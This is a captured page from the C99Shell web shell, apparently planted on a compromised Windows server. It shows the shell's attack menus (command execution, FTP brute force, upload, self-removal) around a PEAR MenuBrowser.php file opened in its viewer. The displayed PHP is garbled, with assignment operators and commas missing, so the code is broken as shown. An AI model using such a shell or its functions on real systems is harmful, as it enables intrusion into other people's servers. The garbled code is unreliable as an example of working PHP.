!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Intranet\C\xampp\php\PEAR\HTML\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.35%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MenuBrowser.php (7.63 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//
// +----------------------------------------------------------------------+
// | PHP Version 4                                                        |
// +----------------------------------------------------------------------+
// | Copyright (c) 1997-2003 The PHP Group                                |
// +----------------------------------------------------------------------+
// | This source file is subject to version 2.02 of the PHP license,      |
// | that is bundled with this package in the file LICENSE, and is        |
// | available at through the world-wide-web at                           |
// | http://www.php.net/license/2_02.txt.                                 |
// | If you did not receive a copy of the PHP license and are unable to   |
// | obtain it through the world-wide-web, please send a note to          |
// | license@php.net so we can mail you a copy immediately.               |
// +----------------------------------------------------------------------+
// | Author: Ulf Wendel <ulf.wendel@phpdoc.de>                            |
// +----------------------------------------------------------------------+
//
// $Id: MenuBrowser.php,v 1.4 2003/09/15 17:24:38 avb Exp $

/**
* Simple filesystem browser that can be used to generated menu (3) hashes based on the directory structure.
*
* Together with menu (3) and the (userland) cache you can use this
* browser to generate simple fusebox like applications / content systems.
*
* Let the menubrowser scan your document root and generate a menu (3) structure
* hash which maps the directory structure, pass it to menu's setMethod() and optionally
* wrap the cache around all this to save script runs. If you do so, it looks
* like this:
*
* // document root directory
* define('DOC_ROOT', '/home/server/www.example.com/');
*
* // instantiate the menubrowser
* $browser = new menubrowser(DOC_ROOT);
*
* // instantiate menu (3)
* $menu = new menu($browser->getMenu());
*
* // output the sitemap
* $menu->show('sitemap');
*
* Now, use e.g. simple XML files to store your content and additional menu informations
* (title!). Subclass exploreFile() depending on your file format.
*
* @author   Ulf Wendel <ulf.wendel@phpdoc.de>
* @version  $Revision: 1.4 $
* @package  HTML_Menu
*/
class HTML_MenuBrowser 
{
   
/**
    * Filesuffix of your XML files.
    *
    * @var  string
    * @see  HTML_MenuBrowser()
    */
    
var $file_suffix 'xml';

   
/**
    * Number of characters of the file suffix.
    *
    * @var  int
    * @see  HTML_MenuBrowser()
    */
    
var $file_suffix_length 3;

   
/**
    * Filename (without suffix) of your index / start pages.
    *
    * @var  string
    * @see  HTML_MenuBrowser()
    */
    
var $index 'index';

   
/**
    * Full filename of your index / start pages.
    *
    * @var  string
    * @see  $file_suffix, $index
    */
    
var $index_file '';

   
/**
    * Directory to scan.
    *
    * @var  string
    * @see  setDirectory()
    */
    
var $dir '';

   
/**
    * Prefix for every menu hash entry.
    *
    * Set the ID prefix if you want to merge the browser menu
    * hash with another (static) menu hash so that there're no
    * name clashes with the ids.
    *
    * @var  string
    * @see  setIDPrefix()
    */
    
var $id_prefix '';

    
/**
    * Menu (3)'s setMenu() hash.
    *
    * @var  array
    */
    
var $menu = array();

   
/**
    * Creates the object and optionally sets the directory to scan.
    *
    * @param    string  Directory to scan
    * @param    string  Filename of index pages
    * @param    string  Suffix for files containing the additional data
    * @see      $dir
    */
    
function HTML_MenuBrowser($dir ''$index ''$file_suffix '')
    {
        if (
$dir) {
            
$this->dir $dir;
        }
        if (
$index) {
            
$this->index $index;
        }
        if (
$file_suffix) {
            
$this->file_suffix $file_suffix;
        }

        
$this->index_file $this->index '.' $this->file_suffix;
        
$this->file_suffix_length strlen($this->file_suffix);
    }


   
/**
    * Sets the directory to scan.
    *
    * @param    string  directory to scan
    * @access   public
    */
    
function setDirectory($dir
    {
        
$this->dir $dir;
    }


   
/**
    * Sets the prefix for every id in the menu hash.
    *
    * @param    string
    * @access   public
    */
    
function setIDPrefix($prefix
    {
        
$this->id_prefix $prefix;
    }


   
/**
    * Returns a hash to be used with menu(3)'s setMenu().
    *
    * @param    string  directory to scan
    * @param    string  id prefix
    * @access   public
    */
    
function getMenu($dir ''$prefix ''
    {
        if (
$dir) {
            
$this->setDirectory($dir);
        }
        if (
$prefix) {
            
$this->setIDPrefix($prefix);
        }

        
// drop the result of previous runs
        
$this->files = array();

        
$this->menu $this->browse($this->dir);
        
$this->menu $this->addFileInfo($this->menu);

        return 
$this->menu;
    }


   
/**
    * Recursive function that does the scan and builds the menu (3) hash.
    *
    * @param    string  directory to scan
    * @param    integer entry id - used only for recursion
    * @param    boolean ??? - used only for recursion
    * @return   array
    */
    
function browse($dir$id 0$noindex false)
    {
        
$struct = array();
        
$dh opendir($dir);
        while (
$file readdir($dh)) {
            if (
'.' == $file || '..' == $file) {
                continue;
            }
            
$ffile $dir $file;
            if (
is_dir($ffile)) {
                
$ffile .= '/';
                if (
file_exists($ffile $this->index_file)) {
                    
$id++;
                    
$struct[$this->id_prefix $id]['url'] = $ffile $this->index_file;

                    
$sub $this->browse($ffile$id 1true);
                    if (
!= count($sub)) {
                        
$struct[$this->id_prefix $id]['sub'] = $sub;
                    }
                }
            } else {
                if (
$this->file_suffix == substr($filestrlen($file) - $this->file_suffix_length$this->file_suffix_length)
                    && !(
$noindex && $this->index_file == $file) )
                {
                    
$id++;
                    
$struct[$this->id_prefix $id]['url'] = $dir $file;
                }
            }
        }
        return 
$struct;
    }


   
/**
    * Adds further informations to the menu hash gathered from the files in it
    *
    * @param    array   Menu hash to examine
    * @return   array   Modified menu hash with the new informations
    */
    
function addFileInfo($menu
    {
        
// no foreach - it works on a copy - the recursive
        // structure requires already lots of memory
        
reset($menu);
        while (list(
$id$data) = each($menu)) {
            
$menu[$id] = array_merge($data$this->exploreFile($data['url']));
            if (isset(
$data['sub'])) {
                
$menu[$id]['sub'] = $this->addFileInfo($data['sub']);
            }
        }

        return 
$menu;
    }


   
/**
    * Returns additional menu informations decoded in the file that appears in the menu.
    *
    * You should subclass this method to make it work with your own
    * file formats. I used a simple XML format to store the content.
    *
    * @param    string  filename
    */
    
function exploreFile($file
    {
        
$xml join('', @file($file));
        if (!
$xml) {
            return array();
        }

        
$doc xmldoc($xml);
        
$xpc xpath_new_context($doc);

        
$menu xpath_eval($xpc'//menu');
        
$node = &$menu->nodeset[0];

        return array(
'title' => $node->content);
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--